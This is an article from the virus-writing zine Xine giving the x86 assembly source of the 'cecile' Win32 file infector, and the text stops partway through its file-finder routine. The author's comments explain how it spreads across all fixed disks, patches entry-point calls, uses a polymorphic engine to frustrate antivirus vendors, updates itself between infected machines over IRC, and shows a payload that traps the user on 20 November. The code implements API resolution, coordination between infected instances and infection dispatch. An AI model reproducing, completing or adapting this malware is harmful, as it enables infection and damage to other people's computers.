ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Xine - issue #5 - Phile 206 ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ; ; ; StarZero present the cecile virus ; ; ; ; The code provided here is cautious, can be defectuous or have unstable ; behaviour, it has been tested on various conditions, and passed the tests, ; if something goes wrong, don't point at me and shout I'm a lamer as some ; poeple easily do so. I'm just programming for own pleasure, learning and ; studying new topics, so I do what I think interresting, but I'm not ; renumerated and I'm even not a professional. Im just an human, doing errors ; and learning from them, but Im also a very busy coder. If you meet any ; problems or bugs, better than critizing, please notify them to me. I will ; see what I can do. thanks ; ; I started this virus in end of august 2000 with a mini idea, why not make ; a virus based on 3 (after 4) flexibe routine, by using pointers to routines. ; Well, at begining I planned 3 weeks to write this. Then finally, many ; technology came after and made the project growing dramatically. ; ; As usual, I rewrote everything from the beginning, and each time trying ; to improve already done work. This virus is very different of other in ; his philosophy/coding style. Let have a small tour of the virus ; ; + The first point in this virus is his special residency, a common virus ; start, modify the system, derivate some function or not, stay in the ; memory and then leave, this virus do other way. The virus run, allocate ; threads, and return to host. Threads use some interprocess to communicate ; with other cecile hinstances. (Well, without watching any other sources) ; To perform such action, it use a given client/server mechanism on win32 ; machine to manage windows. To have a general memory between hinstances, ; the virus use a common shared temporary file wich vary from a machine ; to an other. ; ; + An other interprocess communication ability was provided by a memory ; mapped file that each hinstance try to open, this file is different on ; each machine, this memory mapped file is then filled with needed ; structure. ; ; + Queen/bee ability are then possible as viruses are able to communicate ; in an easy way, receiving and sending message. The virus first register ; themself to a server. If the server die, it's able to be remplaced by a ; bee. The queen never open a file if there exist at least one bee runned, ; the bee are there to infect file, the server find just executable among ; all the fixed disk connected on the machine. The queen/bee have a timer ; attached to their windowproc wich force them to update their ping each ; 50 ms, for detecting server crash, and remplace it. ; ; + The searching mechanism is not a standard recursive directory tree, ; using the common shared memory, it's able to resist a cold boot, a server ; crash of what ever else. It also use the timer to scan a directory only ; each seconds, making less suspect disk activity (I think it's enough that ; way), then each 2.5 seconds, it try to infect a file. ; ; + File are registered in the common memory, it have a maximum of 5000 ; saved filenames, each file have a dword telling about his state, if the ; file was denied because already open, if the file was not a PE, if the ; file was not a MZ, if it was infected, infected with wich version ? If it ; need to be updated, etc etc etc... ; ; + For that, it cooperate via the common memory with the infection module ; by two way, providing the must updated image of the virus to drop to file, ; and also via sending a series of value passed to the infector. As I said ; it's not the queen that infect the file, it may be a much recent virus ; with other infection technique. It drop a virus image put in a bank. Bank ; are free common memory free for every infection process, there's 32 ; (yes I know, it's a bit excessive). ; ; + The infection process is a bit complex, improving axelle bailey virus ; infection, this one totally kill the relocs, as they don't exist anymore ; in a cleaner way wich make less heuristic the virus presence. Today on ; normal application programs, after it process a complex, but compatible ; with other infection style infection, wich mean that the return to host ; stay the same and mean that if you change on disk the virus, the binary ; will still work. This ability of flushing himself to disk is funky eh :-) ; ; + The infection was previewved via a call patching, this can be builded or ; can be hooked via EPO, to perform epo, the virus don't watch for an api, ; but make a mini program tracing from the entrypoint, instruction by ; instruction, looking for the good call, and not one of the first calls. ; This mean for disinfection, you need to restore this call. This call is ; not derivated directly outside the section, but to a routine dropped on ; the code section witch will dispatch to the polymorphic entrypoint, and ; there's no hardcoded jump outside the code section, and the code section ; is not writable. :) ; ; + To perform tracing, the infection use a very small 8086 disassembler ; able to disassemble up to 486 instructions, it works quite well and passed ; many tests, it's not the first of this style I wrote, this one was very ; optimized and finally took just 2,5 kilobyte, enjoyable no ? So I tought I ; may apply it to Cecile, wich make the virus a bit much,mmm sexy :) ; ; + The infection dispatch to the poly module, the polymorphic engine was ; the primary reason of this virus, as aldebaran, I hope this virus will ; make honor to it, it's also very nice, and I hope, will make avers ; work quite much difficult. The input/output of this poly will be the ; reference for future poly for cecile, if I decide to swap it a day. ; ; + On 20 november, the virus show his payload, once again, it's a graphical ; payload, the virus swap resolution to 640x480x16 bpp and make a nice ; little opengl animation. The opengl animation assume a 3D world, with ; lights, camera, and rotation, don't think it's hard to do, it's about 800 ; lines. It display three plane of squares passing from far to the bottom ; of the screen, where little squares describe the copyright text. It also ; try annoy the user and do not permit him to swap to other application. ; ; + The network module is not a worm, but a normal network module permitting ; to viruses principally to exchange datas, updated modules in fact between ; them, for that, they use a multi-layer system. Multilayer was done in ; compatibility between routines. In fact, there's 5 layers, one who manage ; the internet connection, the level 1, one who manage irc operations, layer ; 2, one who manage channel operation level 3, one who manage the ; virus-2-virus protocol level 4, and the data exchanging protocol, level 5. ; ; + Finally, irc is usefull as a meet point, cecile connect with 3 variable ; letters, and then 4 digits that is their code. The letters vary in function ; of the digit, then everybody can't be a cecile hinstance, they join a ; channel, wich vary each week, then display that they are aivable by ; sending a message. Messages are locked with a CRC, the crc depend of ; sender. Then it search for an other aivable cecile connected, and start ; connection. They both give their module versions. If any module version is ; updated, then they request the data sending. Data sending is a series of ; 50 byte packets of module x, wich contain a packet CRC check, an ; encryption, a total crc check, and a few much verification. Then it may ; update the virus. ; ; + Ah, yes I forgot to talk about the updating mechanism, the updating ; mechanism work in two ways, the virus may flush module to bank 33, at init ; but for that, you need that the virus is running on the machine. So, I ; put an other way of updating, by dropping the module at bank 34, if the ; modules at bank 34 are better than the one in bank 33, then the virus ; rebuild just modules from bank 34. To avoid updating while copying image ; to virus bank, it use an userlevel method. If nobody is using bank 33, ; then bank 34 is flushed to bank 33. Also, modules are limited to be ; 8 ko long, but I think it's sufficient, well anyway, all that is constants ; and can be modified quite easily. ; ; + Also, the virus use two things a bit different, first of all, it doesn't ; use delta pointers as register, but a macro call loadpointer. Some poeple ; may think it's useless, no, it's okay for many reason, 1st coz the kernel ; don't use too much the ebp but prefer to play with stack. Also, the ; infection module use ebp for other reasons, and it's not something bad. ; ; + The virus also use a macro to call api. There's two calling method. If ; the api is normal, then the api memory entrypoint is calculated real-time ; and not saved to a virus table. In some apps, the api calling have to ; be very fast, as in the payload, the virus then manage his own memory ; table in a temporary buffer, a bit of stack as exemple. The Fast apicall ; and apicall are two routines that call apis just via the crc, ; ; + The virus have internal library handle, to keep the win32 spirit of ; importing library, the virus have 16 own imported library handle. So ; module can import their own library, like winsock (12) or user32 (1) ; kernel(0). ; ; + Also, the virus is able to perform a flexible linking from module to ; kernel/other module function to power up their possibility. Instead of ; sharing many function, this virus share just a few one, given by number ; code, This mean that two different kernel with different shared function ; will be not compatible, but that's one of cecile limitation ; ; okay, hope it pleased you, today I'm a bit bored of this virus, I want ; to pass to something else, keep tuned, and finally, this virus is ; an offrand to a person "far" from me, in all sense of the word, c'est la ; vie... ; .586P .model flat, stdcall extrn ExitProcess:Proc extrn CreateWindowExA:Proc .data db 0 .code start: mov eax,00400000h jmp startnow call CreateWindowExA VirusStart: starthere: ; ; a bee is runned, we participate to the comunauty ; loadpointer macro destination,origin,tst call &tst&_map &tst&_map: add dword ptr [esp],&origin&-&tst&_map xchg eax,dword ptr [esp] mov dword ptr &destination&,eax pop eax endm Fapicall macro apicode, handle, kkva mov edx,handle loadpointer ecx,fastcall,&kkva& mov eax,apicode call ExtendedApiCall endm apicall macro apicode, handle mov edx,handle mov eax,apicode call ApiCallit endm structfil equ 260+4+4+4 nullsize equ 1024+512 bankcommsize equ 32 banksize equ 0FFFFh modulesize equ 8192 filsize equ 8096+(structfil*5000)+(banksize*34)+(bankcommsize*32)+4 ; ; mapped file structure ; ; 0 - 16 queen self data managing ; 16 - 4096 bees register zone ; 4096 - 8096 file finder reserved data ; 8086 - structfil * 5000 saved found file data ; bankcommsize * 32 ; banksize 0-32 + 33 and 34 wich are managing ; ; extended header was added in finder area + 1024+768 ; call Init0 startnow: call Api_init loadpointer edx,user32,i2 ; load user32.dll mov ecx,0 ; getmodul it mov eax,1 ; into dll bank 1 call loadhandle cmp eax,0 je skiploadit sub esp,12 mov edx,esp mov dword ptr [edx],12 mov dword ptr [edx+4],0 mov dword ptr [edx+8],0 loadpointer ebx,InitThread, i1 push eax push esp push 0 push 0 push ebx push 0 push edx apicall 0CA2C0A90h,0 ; Create Thread pop eax mov eax,2 call ModuleCall add esp,12 skiploadit: jmp Fini0 InitThread: ; int 3 ; ; push 4 ; PAGE_READWRITE ; push 1000h ; push 4096 ; push 0 ; call VirtualAlloc ; ; mov esp,eax ; add esp,4096 mov ecx,8*32 sub esp,ecx loadpointer edx,fastcall,fs1 mov edi,esp mov dword ptr [edx],edi xor eax,eax repz stosb sub esp,256*3 mov eax,esp push eax push 'ce0' push esp push 1 push 000F001Fh apicall 837E5818h,0 ; OpenFileMappingA pop edx pop edx mov edi,1 cmp eax,0 jne startfromhere mov eax,edx push eax lea edx, [eax+4] mov dword ptr [eax],128 push eax push edx apicall 2AEB9EB2h,0 ; GetComputerName pop eax add eax,4 push eax mov edx,dword ptr [eax] mov ecx,4 getmaic: cmp dl,'0'-1 ja noproblem mov dl,'Z' noproblem: rol edx,8 loop getmaic and edx,00FFFFFFh mov dword ptr [eax-4-4], edx xor edx,edx gotintothat: movzx ecx,byte ptr [eax] add edx,ecx rol edx,5 inc eax cmp byte ptr [eax],0 jne gotintothat sub esp,4 pop eax push edx push eax push 256 apicall 148f1962h,0 ; gettempath pop eax mov edx,esp push eax lea ecx,[edx+4] push ecx push ecx push eax push edx push ecx apicall 0A897A690h,0 ; gettempfilename pop ecx mov edx, 3 ; open_always loaditagain: sub esp,12 mov eax,esp mov dword ptr [eax],12 mov dword ptr [eax+4],0 mov dword ptr [eax+8],0 push ecx push edx push 0 push 80h push edx push eax push 03 ; file sharing push 0C0000000h push ecx apicall 0193E83EEh,0 ; CreateFileA cmp eax,-1 jne makethatthat pop edx pop ecx add esp,12 cmp edx,2 je skiploading mov edx,2 jmp loaditagain makethatthat: add esp,8 mov ecx,esp push 'ce0' mov edx,esp push edx push filsize push 0 push 04h push ecx push eax apicall 097E2AF98h,0 ; CreateFileMapping add esp,12 mov edi,0 startfromhere: push 0 push 0 push 0 push 000F001Fh push eax apicall 03D547DB1h,0 ; MapViewOfFile cmp edi,1 je sfmskipit push eax mov edi,eax add edi,8 xor eax,eax mov ecx,nullsize repz stosb pop eax mov dword ptr [eax],'!CeC' sfmskipit: mov dword ptr [eax+8096+(structfil*5000)],0 mov dword ptr [eax+filsize-bankcommsize],0 call SetMappedFile push 0 apicall 1017d1A1h,0 ;GetModuleHAndle mov ecx,'0EC' push ecx mov edx,esp push edx push eax sub esp,40 mov ebx,esp mov dword ptr [ebx],0 loadpointer [ebx+4],winproc,t1 ; window proc mov dword ptr [ebx+8],0 mov dword ptr [ebx+12],0 mov dword ptr [ebx+16],eax ; Module handle mov dword ptr [ebx+20],0 mov dword ptr [ebx+24],0 mov dword ptr [ebx+28],0 mov dword ptr [ebx+32],0 mov dword ptr [ebx+36],edx ; name push ebx apicall 0D48A96AAh,1 ; RegisterClassA add esp,40 pop eax pop edx push 'VD0' mov ecx,esp push 0 push eax push 0 push 0 push 0 push 0 push 0 push 0 push 0 push ecx push edx push 0 apicall 7099fb9ch,1 ; CreateWindowEx loadpointer ebx,windowproc01,g354 mov dword ptr [ebx],eax pop ecx pop ecx push eax push eax push eax call GetMappedFile mov eax,dword ptr [eax+4] pop edx loadpointer ecx,VersionDirty,popo2 mov ecx,[ecx] push ecx push edx push WM_REGCLIENT push eax apicall 0FBAC7F60h,1 ; SendMessageA pop edx push eax push edx push 0 push 50 push edx push edx apicall 061a186d0h,1 ; SetTimer pop edx pop eax cmp eax,0 jne gohere1 call GetMappedFile mov dword ptr [eax+4],edx gohere1: pushad call CheckUpdated ; Check update consistency popad mov eax,edx pushad mov eax,3 call ModuleCall popad gohere: push eax sub esp,44 mov edx,esp push edx push 0 push 0 push eax push edx apicall 03BAC79F3h,1 ; GetMessageA gomimi: cmp eax,0 pop edx je gomimi1 push edx push edx apicall 050d9920Ch,1 ; TranslateMessageA apicall 05BFFA45Ch,1 ; dispatchMessageA skiski: add esp,44 pop eax jmp gohere gomimi1: push 0 apicall 790c0575h,0 ; ExitThread SetMappedFile: call getitmap ret getitmap: xchg dword ptr [esp],ecx pushad lea edx,[ecx+mapped-getitmap+1] mov dword ptr [edx],eax popad xchg ecx,dword ptr [esp] ret GetMappedFile: call getitmap1 ret getitmap1: mov eax,dword ptr [esp] lea eax,[eax+mapped-getitmap1+1] mov eax,dword ptr [eax] ret user32: db 'USER32.DLL',0 fastcall: dd 0 mapped: dd 0 windowproc01: dd 0 ; ; The Api call system (2/10/2K) - (last rev 6/12/2K) ; ; ; The principe of this api system call is that when the program call the api, ; this system will re-calculate the api call, loosing time you will say, but ; we have two advantages, no need of long name/crc table, and no need of long ; buffer to receive adresses, and if the search is fast enough, then I think ; that's okay to be done ; ; Api calling system was build in order to let modules call any api of any dlls ; not depending from these that the kernel import, now it assume: ; ; - find the kernel by finding in the import table for exported address ; of KERNEL32 if not found, get the last dll and then ; - scan in the lib about loaded KERNEL, if not ; ( - hook exception and test hardcore address, ; the virus don't get runned in such case ; Api_init: loadpointer ecx,savebase, api1 mov dword ptr [ecx],eax ; set the PE image base init mov esi,eax mov edx,[esi+03Ch] ; load the Pe header of PE lea edi,[esi+edx] ; edi point to it in mem mov edx,dword ptr [edi+128] ; load import table add edx,esi loopagain75: mov ebx,dword ptr [edx+12] ; name rva add ebx,esi cmp dword ptr [ebx],'NREK' ; 'NERK' jne stoombabase call checkkern ; check if it's kernel32.dll stoombabase: add edx,20 cmp dword ptr [edx],0 ; check all libs jne loopagain75 mov eax,dword ptr [edx-4] ; load the last imported add eax,esi ; lib mov eax,dword ptr [eax] ; get an import call getcheckup ; loop to the MZ mov esi,eax add eax,dword ptr [eax+03Ch] ; get the PE mov edx,dword ptr [eax+128] ; the the import add edx,esi loopagain76: mov ebx,dword ptr [edx+12] ; name rva add ebx,esi cmp dword ptr [ebx],'NREK' ; 'NERK' jne goaway669 call checkkern ; recheck kernel32 goaway669: add edx,20 ; get next entry in table cmp dword ptr [edx],0 jne loopagain76 ; go to there goaway6670: ; houston we got a problem! push dword ptr FS:[0] ; save old SEH loadpointer ebx, pseudoseh, api85 ; SEH point to teh SEH push ebx push 0 mov dword ptr FS:[0],esp mov eax, 07FFE0000h ; check win2K kernel instr1: cmp word ptr cs:[eax],'ZM' ; exception fault ? instr2: je regkernel ; go there mov eax, 07FFF0000h ; then check NT4 kernel cmp word ptr cs:[eax],'ZM' ; exception fault ? je regkernel mov eax, 0BFF70000h ; get win9x kernel cmp word ptr cs:[eax],'ZM' je regkernel mov eax, 0BFF60000h ; get WinMe kernel cmp word ptr cs:[eax],'ZM' je regkernel ; houston, we have a problem :[ ; in this extreme case, we couldn't at all reach kernel, we are going to crash regkernel: loadpointer ebx,kernelbase, wfk ; then save it ! mov dword ptr [ebx],eax ; pop eax pop eax ; fix stack pop dword ptr FS:[0] ; restore SEH ret pseudoseh: mov eax,dword ptr [esp+2ch] ; load the thread state add dword ptr [eax+0b8h],instr2-instr1 ; go to next instruction xor eax,eax ret checkkern: cmp dword ptr [ebx+4],'23LE' ; KERN - EL32 jne stoombabase5 pop ecx jmp stambase10 stoombabase5: ; go there and everything ; is okay! ret stambase10: mov eax,dword ptr [edx+16] ; load an API add eax,esi mov eax,dword ptr [eax] ; address call getcheckup ; go to MZ jmp continueproc getcheckup: and eax,0FFFF0000h ; get advantage of the fact ; that PE are loaded every loaduntillkernel: ; 10000h , wich ; permit 65535 process cmp word ptr [eax],'ZM' ; runned on a machine je wefoundkernel ; loop untill MZ sub eax,010000h jmp loaduntillkernel ; check every 10000h wefoundkernel: ret continueproc: loadpointer ebx,kernelbase, wfk186 mov dword ptr [ebx],eax ; save the kernel base ret ApiCallit: xor ebx,ebx Intrn_ApiCallit: pushad loadpointer esi,kernelbase,ap1 ; load the lib handle mov esi,dword ptr [esi+edx*4] ; esi = lib loaded mov edi,dword ptr [esi+03Ch] ; go to export table add edi,esi mov edi,dword ptr [edi+120] ; go to export table add edi,esi mov ecx,dword ptr [edi+24] mov edx,dword ptr [edi+32] ; name RVA add edx,esi getapinow: call CheckApi ; check if it's good ; name loop getapinow ; untill all checked popad xor eax,eax ; error code return dec eax ret CheckApi: push ecx ; save id/loc push edx mov edx,dword ptr [edx] ; get name rva add edx,esi xor ebx,ebx ; ebx will receive ; crc getitagain: push edx movzx edx,byte ptr [edx] ; load the ascii value add ebx,edx ; add it to the crc pop edx inc edx ; next char rol ebx,3 ; rol ebx,3 cmp byte ptr [edx],0 ; untill all the jne getitagain ; api name was calcula. cmp ebx,eax ; requested api ? jne gotittatam ; no check next pop edx pop ecx ; restore id/loc pop ecx ; stack value sub edx,dword ptr [edi+32] ; substract api ref sub edx,esi ; base and mz base shr edx,1 ; divide by 4 mov ebx,dword ptr [edi+36] ; load api index add ebx,esi ; plus base movzx ecx,word ptr [edx+ebx] ; load api core ref shl ecx,2 ; multiply it by 4 mov edx,dword ptr [edi+28] ; load api adress base add edx,esi mov ebx,eax ; save crc mov eax,dword ptr [edx+ecx] ; add eax,esi mov dword ptr [esp+20h-4],eax ; put eax = 3 cmp dword ptr [esp+20h-4-4-4-4],15 ; check ebx = 15 ? jne dontregisterit ; special code for registering mov ecx,dword ptr [esp+20h-4-4] ; load old ecx mov ecx,dword ptr [ecx] ; load pointer in it sub ecx,8 getagainme5: add ecx,8 ; check for a free cmp dword ptr [ecx],0 ; place in it jne getagainme5 mov dword ptr [ecx],ebx ; save crc mov dword ptr [ecx+4],eax ; save adress dontregisterit: popad ; restore everything dontcallapi: cmp byte ptr [eax],0CCh ; int 3 there ? je dontcallapi ; really then go away jmp eax gotittatam: ; not requested api pop edx pop ecx add edx,4 ; return and check ret ; next api ExtendedApiCall: pushad mov ecx,dword ptr [ecx] ; load api crc buffer sub ecx,8 getnext277: add ecx,8 cmp dword ptr [ecx],eax ; have we arleady je directcallit ; searched that api cmp dword ptr [ecx],0 ; check if ecx = 0 jne getnext277 popad mov ebx,15 ; set save to buffer jmp Intrn_ApiCallit ; to Api finder directcallit: mov eax,dword ptr [ecx+4] mov dword ptr [esp+20h-4],eax ; restore API adress jmp dontregisterit ; call it loadhandle: push eax ; save handle to be fixed with cmp ecx,0 ; watch if you need a loadlib je gotbyebye ; or a get module push edx apicall 0BAE81A01h,0 ; LoadLibraryA from kernel jmp getthere gotbyebye: push edx apicall 01017D1A1h, 0 ; GetModuleHandle in (0) (krnl) getthere: pop ecx loadpointer edx,kernelbase, ll1 mov dword ptr [edx+ecx*4],eax ; save adress to khandles ret savebase: dd 00400000h kernelbase: dd 00000000h ; 15 library handle free khandles: dd 15 dup (0) ; ; What does the Server/client assume ? ; ; Well, the server client use a prebuilded windows server/client mode in ; order to work, thus permetting with api to access an easy interprocess ; communication and messaging between virus hinstances. By creating his own ; window proc, the window proc wait for message that are sent each time the ; virus is run. This client server mode can be seen as a queen/bee colony, as ; it have many aspects of it, having a queen, having workers, assigning task ; and develloping, expanding the colony. ; ; the virus handle a few message : 1st stable workin 1/10/2K ; ; - A timer will tell to the server to find a much PE ; and/or updating the timer of the routine (client/serv) ; - A routine that is used only by the server, it register client ; to the common memory when they are runned ; - An infection message that specify a location in the common ; memory where the file name is stocked, then prepare ; for a module calling, then pass control to module ; - If the process is closed, the server is able to select an ; other and swap himself ; - A client server ping pong system used when a time out ; has been detected, used to see if client disconnected ; coz process crashed or such ; - An updating message wich can be called to the server by any ; External virus hinstance, this making cecile an ; "updatable" virus alike. See modulisation topic ; ; Alternatively, the server assume also the passing trough module, if infection ; is send to remote process, polymorphic encryption is directly send to the ; current process and not given as message, coz the message could fail, if ; as exemple, the message is sent in the dead time of a closed or crashed ; process and could let, the virus unencrypted, wich could be very dangerous ; for us. ; WM_REGCLIENT equ 50701 WM_INFECTEXE equ 50702 WM_VIRPING equ 50703 WM_UPDATE equ 50704 winproc: hwndval equ 4 hmsgval equ 8 wpamval equ 12 lpamval equ 16 xor eax,eax mov ebx,dword ptr [esp+hmsgval] cmp ebx,01 ; WM_CREATE je returnnull cmp ebx,05 ; WM_RESIZE je returnnull cmp ebx,WM_REGCLIENT ; our register message je regclient cmp ebx,WM_INFECTEXE ; our client message je Infectexe cmp ebx,WM_VIRPING ; dead test je ReturnPing cmp ebx,WM_UPDATE ; update code and add je updatecode9 ; new version cmp ebx,113h ; WM_TIMER je timerset cmp ebx,16 ; WM_CLOSE je switchserver translatemessage: pushad push dword ptr [esp+20h+lpamval] push dword ptr [esp+20h+4+wpamval] push dword ptr [esp+20h+4+4+hmsgval] push dword ptr [esp+20h+4+4+4+hwndval] apicall 023ED6274h,1 ; DefWindowProcA mov dword ptr [esp+20h-4],eax popad returnnull: ret 16 registernet0: pushad call GetMappedFile ; push eax mov eax,dword ptr [eax+1024+768] ; load the net handle of it push eax ; if zero then it's bad cmp eax,0 je skip_loadit push 0 push 0 push WM_VIRPING push eax apicall 0FBAC7F60h,1 ; SendMessageA ; the trust pass , ; Alife or Not ? pop edx pop ebx ; restore cmp eax,edx je returnerror ; is it still alife ? skip_loadat0: loadpointer edx,windowproc01,v119 ; no then register this mov eax,dword ptr [edx] ; cecile handle to the mov dword ptr [ebx+1024+768],eax ; value popad mov eax,1 ret skip_loadit: pop edx ; return it normally pop ebx jmp skip_loadat0 returnerror: popad ; return with error, xor eax,eax ; network registered ret updatecode9: pushad mov ecx,dword ptr [esp+20h+wpamval] call UpdateThisModule ; update from remote ; process popad xor eax,eax ret 16 ReturnPing: mov eax,dword ptr [esp+hwndval] ; return window value ret 16 regclient: mov edx,dword ptr [esp+wpamval] ; mov ecx,dword ptr [esp+lpamval] push edx call CheckUpdated ; see if + recent call GetMappedFile lea edx,[eax+16] pop eax mov ecx,256 goaway: cmp dword ptr [edx],eax ; watch for a zero je setzero ; in the first ; zone add edx,12 cmp dword ptr [edx], 0 ; forget it je regit loop goaway ; loop to it ret 16 regit: push eax mov dword ptr [edx],eax ; save window handle push edx apicall 17357e7Ah,0 ; GetTickCount pop edx mov dword ptr [edx+4],eax ; set last counted pop eax setzero: mov dword ptr [edx+8],0 ; nullify last counted ret 16 ;timerproc: ; ; ret 16 timerset: call GetMappedFile ; each 50 millisec call CleanTimeOut ; watch if some cecile lea edx,[eax+16] ; is not dead mov eax,dword ptr [esp+hwndval] cmp dword ptr [edx-12],eax ; check if we are serv je weareserver mov ecx,64 ; check between sub edx,12 ; 64 1st users getnextimer: add edx,12 ; cmp dword ptr [edx],eax ; any of it equal our ? je updatetimer loop getnextimer ; go to next timer xor eax,eax ret 16 updatetimer: push edx apicall 17357e7Ah,0 ; GetTickCount pop edx mov dword ptr [edx+4],eax ; update our life test ret 16 weareserver: push edx apicall 17357e7Ah,0 ; GetTickCount pop edx mov dword ptr [edx-8],eax ; update server inc dword ptr [edx-4] ; increment counter cmp dword ptr [edx-4],50 ; every sec ja InfectAFile pushad mov ecx,10 benbenit: add ecx,10 cmp dword ptr [edx-4],ecx ; jne skipfindFax ; every 50 sec cmp ecx,40 jne benbenit ; check 4 times jmp skipfindit skipfindFax: call FindAFile ; find files skipfindit: apicall 17357e7Ah,0 ; GetTickCount mov dword ptr [esp+20h-4],eax ; update ping popad mov dword ptr [edx-8],eax ; update ping skipit: ret 16 switchserver: ; server died call GetMappedFile ; load mapped file push eax call CleanTimeOut ; clean the timeouts pop edx mov ebx,dword ptr [esp+hwndval] cmp dword ptr [edx+4],ebx ; the window is the jne skipthisvoo ; server ? mov dword ptr [edx+4],0 ; yes, then nuliffy mov dword ptr [edx+8],0 ; everyhting add eax,4 mov ecx,64 ; fix the server getnext77: ; is the current bee add eax,12 cmp dword ptr [eax],0 ; load a cecile running jne goaway66 loop getnext77 skipthisvoo: xor eax,eax jmp PostQuitit ; and leave! goaway66: mov ebx,dword ptr [eax] ; we found one ? mov ecx,dword ptr [eax+4] mov dword ptr [edx+4],ebx mov dword ptr [edx+8],ecx ; set the queen mov dword ptr [eax],0 ; nullify the current mov dword ptr [eax+4],0 ; cecile bee mov dword ptr [eax+8],0 PostQuitit: push 0 apicall 07818C6Bh,1 ; PostQuitMessage ret 16 ; jmp translatemessage CleanTimeOut: ; receive in eax the pushad push eax apicall 17357e7Ah,0 ; GetTickCount pop edx mov ecx,64 add edx,4 getnext97: add edx,12 cmp dword ptr [edx],0 ; if null ? je getnext99 cmp eax,dword ptr [edx+4] ; if smaller then jb getnext99 ; the ping push ecx mov ecx,dword ptr [edx+4] sub ecx,eax neg ecx ; see last ping ? cmp ecx,800 ; server should be alife that pop ecx ; moment jb getnext99 push eax pushad push 0 push 0 push WM_VIRPING ; ping it push dword ptr [edx] apicall 0FBAC7F60h,1 ; SendMessageA ; the trust pass , ; Alife or Not ? mov dword ptr [esp+20h-4],eax popad cmp dword ptr [edx],eax ; if alife pop eax jne cleanit mov dword ptr [edx+4],eax ; set ping jmp getnext99 cleanit: mov dword ptr [edx],0 mov dword ptr [edx+4],0 mov dword ptr [edx+8],0 ; nullify client ! getnext99: loop getnext97 ; do it for all goaway785: popad ret InfectAFile: mov dword ptr [edx-4],0 ; set last infect null call LoadAclient ; load a client lea ebx,[edx+nullsize-8+1024+1024+8] ; point to file offset loadnext: cmp dword ptr [ebx+8],0 je finishallthat0 bt dword ptr [ebx+4],31 ; test if already jc skipinfect ; had error ? cmp dword ptr [ebx+4],4000h ; already infected ? jb skipinfect1 push eax push edx mov eax,dword ptr [ebx+4] ; load the value sub eax,4000h call getvirusminiversion cmp edx,eax ; too advanced version ? pop edx pop eax jbe skipinfect ; see if u need to update it skipinfect1: cmp dword ptr [ebx+4],2 ; open error ? jne goaway95 mov ecx,dword ptr [edx-8] and ecx,111111b ; 1 chance over 64 of cleaning ; it cmp ecx,111111b jne skipinfect goaway95: push eax call LoadABank ; load a bank for infection pop ecx cmp eax,-1 ; no bank ? je finishallthat0 add ebx,8 ; bank okay push ebx push eax call GetMappedFile sub ebx,eax pop eax ; set bank pos relative pushad push eax push ebx push WM_INFECTEXE ; push ecx apicall 0FBAC7F60h,1 ; SendMessageA mov dword ptr [esp+20h-4],eax popad pop ebx mov dword ptr [ebx-4],eax ; set file stat jmp finishallthat0 ; nothing to infect much skipinfect: add ebx,8 ; do it again getthisone: inc ebx cmp byte ptr [ebx-1],0 ; end of name ? jne getthisone jmp loadnext ; load next finishallthat0: xor eax,eax ret 16 LoadAclient: mov ecx,64 ; get a client mov eax,edx getbla1: cmp dword ptr [eax],0 ; load untill a non void bee je blabla1 cmp dword ptr [eax+8],0 ; and non-busy je blabl2 blabla1: add eax,12 loop getbla1 mov eax,dword ptr [edx-0Ch] ret blabl2: mov eax,dword ptr [eax] ret LoadABank: push edx call GetMappedFile ; load the mapped file lea edx,[eax+8096+(5000*structfil)] ; load the mapped pos mov ecx,32 getbankit: cmp dword ptr [edx],-1 ; check if pos there je quitbank ; is full busy bt dword ptr [edx],ecx jc getnextbank ; check if loaded mov eax,dword ptr [edx] ; set busy rol eax,cl inc eax ror eax,cl mov dword ptr [edx],eax mov eax,ecx pop edx ; finish ret getnextbank: loop getbankit ; check 32 possibility pop edx ret quitbank: xor eax,eax ; error bank dec eax ret unloadbank: push edx call GetMappedFile lea edx,[eax+8096+(5000*structfil)] mov eax,dword ptr [edx] rol eax,cl and al,11111110b ; deload bank ror eax,cl mov dword ptr [edx],eax pop edx ret Infectexe: push ebp push edi push esi mov esi,dword ptr [esp+8+4+wpamval] call GetMappedFile add esi,eax push esi call BuildModulesImage ; flush module push ecx ; virus size call LoadModuleTable ; push edx call incuservalue ; set +1 user value call getvirusminiversion ; now we cant change the code push edx mov ecx,dword ptr [esp+10h+8+4+lpamval] push ecx call CopyVirusImageToBank ; set bank 33 to must done bank pop ecx call LoadBankInfo mov ebp,edx mov dword ptr [ebp+error],0 mov ecx,dword ptr [esp+10h+8+4+lpamval] mov dword ptr [ebp+virusbank],ecx pop edx ; load version (40) mov dword ptr [ebp+version],edx pop edx ; table offset mov dword ptr [ebp+valuefill],edx pop ecx ; virus size mov dword ptr [ebp+virsize],ecx mov edx,eax pop esi mov eax,0 call ModuleCall ; call infect pop esi pop edi pop ebp push eax call decuservalue ; set zero user value pop eax ret 16 LoadBankInfo: call GetMappedFile mov ebx,eax add ebx,8096+(structfil*5000)+4 mov eax,64 dec ecx xor edx,edx mul ecx push eax mov eax,banksize mul ecx lea eax,[ebx+eax+(32*64)] ; return mini buffer loc pop edx lea edx,[ebx+edx] ; return buffer loc ret PolyMorphiseIt: push ebp ; long stack play just push ebx ; to keep the regs as it is ; between modules push esp push ecx push 4 push 1000h ; MEM_COMMIT push banksize push 0 apicall 0A2F83D2Ah,0 ; VirtualAlloc push eax push 4 push 1000h ; MEM_COMMIT push banksize push 0 apicall 0A2F83D2Ah,0 ; VirtualAlloc pop edx pop ecx pop ebp mov edi,eax push edi push edx push edi push esi mov eax,1 call ModuleCall ; call polymorphise pop edi pop esi push ecx repz movsb pop ecx pop edx pop eax pushad push edx push 4000h ; MEM_DECOMMIT push banksize push eax apicall 0545F6132h,0 ; VirtualFree pop edx push 4000h ; MEM_DECOMMIT push banksize push edx apicall 0545F6132h,0 ; VirtualFree popad pop ebx pop ebp ret ; ; File Finder loaded and workin' :) ; ; ; File Find Structure !CeC at nullsize-8 (760) = CeC! start of Find File ; start + 4 = offset to pointer to end of Directory ; start + 8 = how much down in the dir tree are we ? ; start + 12 = list of : 0 Number ID ; 4 Handle (number) ; start + 1024 = Working Buffer Directory ; start + 1024 + 260 = Current FindFirst32 thing ; start + 1024 + 1024 = File storage, marked by CeC! ; Storage start + 4 = File count (limited to 5000) ; Storage start + 8 = File saved entry ; each entry is = 0 = (Name + ) Crc ; 4 = File state ; 8 = Name terminated by a zero char ; FindAFile: push edx push esi push edi xor edi,edi add edx,nullsize-8 